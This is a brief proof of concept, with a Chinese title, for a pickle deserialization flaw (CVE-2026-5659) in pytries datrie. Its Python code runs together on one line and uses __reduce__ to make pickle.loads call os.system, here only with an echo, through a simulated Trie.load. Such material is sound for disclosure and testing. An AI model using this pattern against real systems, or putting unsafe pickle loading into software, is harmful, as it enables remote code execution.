CVE-2026-5659 pytries datrie 反序列化漏洞

import pickle import os # Define a malicious payload class class MaliciousPayload: def __reduce__(self): # Commands to execute upon deserialization return (os.system, ('echo "CVE-2026-5659 RCE PoC Execution"',)) # Serialize the payload payload_data = pickle.dumps(MaliciousPayload()) # Simulate the vulnerable Trie.load function def vulnerable_trie_load(data): # Vulnerable: deserializing untrusted data directly return pickle.loads(data) # Trigger the vulnerability print("[*] Exploiting CVE-2026-5659 via Trie.load deserialization...") try: vulnerable_trie_load(payload_data) except Exception as e: print(f"Error: {e}")